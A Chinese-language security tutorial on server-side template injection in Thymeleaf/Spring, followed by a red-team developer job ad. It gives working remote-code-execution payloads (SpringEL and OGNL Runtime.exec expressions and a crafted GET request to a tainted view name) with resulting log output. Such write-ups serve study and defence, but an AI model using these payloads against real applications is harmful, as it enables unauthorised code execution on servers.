在Thymeleaf中利用SSTI

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No.1

Thymeleaf简介

Thymeleaf是用于Java的现代服务器端模板引擎,基于XML / XHTML / HTML5语法。
该引擎的核心优势之一是自然模板

(https://www.thymeleaf.org/# natural-templates)
这意味着Thymeleaf HTML模板的外观和工作方式类似于HTML,通过在HTML标签中使用其他属性来实现的。
这是一个官方示例:

<table>  <thead>    <tr>      <th th:text="# {msgs.headers.name}">Name</th>      <th th:text="# {msgs.headers.price}">Price</th>    </tr>  </thead>  <tbody>    <tr th:each="prod: ${allProducts}">      <td th:text="${prod.name}">Oranges</td>      <td th:text="${# numbers.formatDecimal(prod.price, 1, 2)}">0.99</td>    </tr>  </tbody></table>

No.2

Thymeleaf的特点

• 动静结合:Thymeleaf 在有网络和无网络的环境下皆可运行,即它可以让美工在浏览器查看页面的静态效果,也可以让程序员在服务器查看带数据的动态页面效果。这是由于它支持 html 原型,然后在 html 标签里增加额外的属性来达到模板+数据的展示方式。浏览器解释 html 时会忽略未定义的标签属性,所以 thymeleaf 的模板可以静态地运行;当有数据返回到页面时,Thymeleaf 标签会动态地替换掉静态内容,使页面动态显示。

• 开箱即用:它提供标准和spring标准两种方言,可以直接套用模板实现JSTL、 OGNL表达式效果,避免每天套模板、该jstl、改标签的困扰。同时开发人员也可以扩展和创建自定义的方言。

• 多方言支持:Thymeleaf 提供spring标准方言和一个与 SpringMVC 完美集成的可选模块,可以快速的实现表单绑定、属性编辑器、国际化等功能。

• 与SpringBoot完美整合,SpringBoot提供了Thymeleaf的默认配置,并且为Thymeleaf设置了视图解析器,我们可以像以前操作jsp一样来操作Thymeleaf。代码几乎没有任何区别,就是在模板语法上有区别。


如果使用浏览器使用此代码打开页面,将看到一个已填充的表格,并且所有Thymeleaf特定的属性都将被跳过。但是,当Thymeleaf处理此模板时,它将标签文本替换为传递给模板的值。

要在Thymeleaf中尝试SSTI,我们首先必须理解出现在Thymeleaf属性中的表达式。Thymeleaf表达式可以具有以下类型:

• ${...}:变量表达式–实际上,它们是OGNL或Spring EL表达式。

• *{...}:选择表达式–与变量表达式类似,但用于特定目的。

• # {...}:消息(i18n)表达式–用于国际化。

• @{...}:链接(URL)表达式–用于在应用程序中设置正确的URL /路径。

• ~{...}:片段表达式–它们使您可以重用模板的一部分。


SSTI的典型测试表达式为${7*7}。此表达式在Thymeleaf中也适用。
如果要实现远程代码执行,可以使用以下测试表达式之一:

• SpringEL: 

${T(java.lang.Runtime).getRuntime().exec('calc')}

• OGNL:

${# rt = @[email protected](),# rt.exec("calc")}


如果我们深入研究Thymeleaf模板引擎的文档,将会发现一个有趣的功能,称为表达式预处理。对置于双下划线(__...__)之间的表达式进行预处理,并将预处理结果用作常规处理过程中表达式的一部分。这是Thymeleaf文档中的一个官方示例:

# {selection.__${sel.code}__}

进行预处理${sel.code}将结果(在本例中为存储值*ALL)用作稍后评估的实数表达式(# {selection.ALL})的一部分。

服务器端模板注入(SSTI)是使攻击者可以将代码注入此类服务器端模板中的漏洞。简单来说,攻击者可以引入服务器端模板实际处理的代码。

No.3

漏洞演示

使用Thymeleaf作为模板引擎的最简单的Spring应用程序:

文件结构:

在Thymeleaf中利用SSTI

HelloController.java:

(https://github.com/veracode-research/spring-view-manipulation/blob/master/src/main/java/com/veracode/research/HelloController.java)

@Controllerpublic class HelloController {
@GetMapping("/") public String index(Model model) { model.addAttribute("message", "happy birthday"); return "welcome"; }}

由于使用@Controller@GetMapping("/")注释,将为URL('/')的每个HTTP GET请求调用此方法,并返回静态字符串“ welcome” 。

Spring 框架将“ welcome”解释为ViewName,并尝试查找文件“resources/templates/welcome.html”。

如果找到它,它将从模板文件渲染视图并返回给用户。如果正在使用Thymeleaf视图引擎,则模板可能如下所示

welcome.html:

(https://github.com/veracode-research/spring-view-manipulation/blob/master/src/main/resources/templates/welcome.html)

<!DOCTYPE HTML><html lang="en" xmlns:th="http://www.thymeleaf.org"><div th:fragment="header">    <h3>Spring Boot Web Thymeleaf Example</h3></div><div th:fragment="main">    <span th:text="'Hello, ' + ${message}"></span></div></html>

Thymeleaf引擎支持file layouts。通过使用模板中的指定代码
<div th:fragment="main">,然后仅从view中请求下面代码:

@GetMapping("/main")public String fragment() {    return "welcome :: main";}

第一种情况可能包含潜在的路径穿越漏洞,但用户限制“templates”文件夹,无法查看其外部的任何文件。

@GetMapping("/path")public String path(@RequestParam String lang) {    return "user/" + lang + "/welcome"; //template path is tainted}
@GetMapping("/fragment")public String fragment(@RequestParam String section) { return "welcome :: " + section; //fragment is tainted}

利用方法是尝试找到一个单独的文件上传并创建一个新模板。

在从文件系统加载模板之前,Spring ThymeleafView

(https://github.com/thymeleaf/thymeleaf-spring/blob/74c4203bd5a2935ef5e571791c7f286e628b6c31/thymeleaf-spring3/src/main/java/org/thymeleaf/spring3/view/ThymeleafView.java)

类将模板名称解析为一个表达式:

try {   // By parsing it as a standard expression, we might profit from the expression cache   fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");}

因此,无法通过路径穿越实现攻击利用,仅能通过表达式语言注入来利用。

No.4

攻击利用

GET /path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x HTTP/1.1
在Thymeleaf中利用SSTI

通过在表达式加上__${和}__::.x,由thymeleaf执行。

每当传入的恶意数据到达从controller返回的view name时,可能导致表达式语言注入,并因此导致远程代码执行。

观察spring日志输出:

在Thymeleaf中利用SSTI

ERROR 38508 --- [nio-8090-exec-1] o.a.c.c.C.[.[.[/].[dispatcherServlet] : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is org.thymeleaf.exceptions.TemplateInputException:

Error resolving template [user/uid=501(*)], template might not exist or might not be accessible by any of the configured Template Resolvers] with root cause


参考:

https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/




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岗位:红队武器化Golang开发工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。


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END

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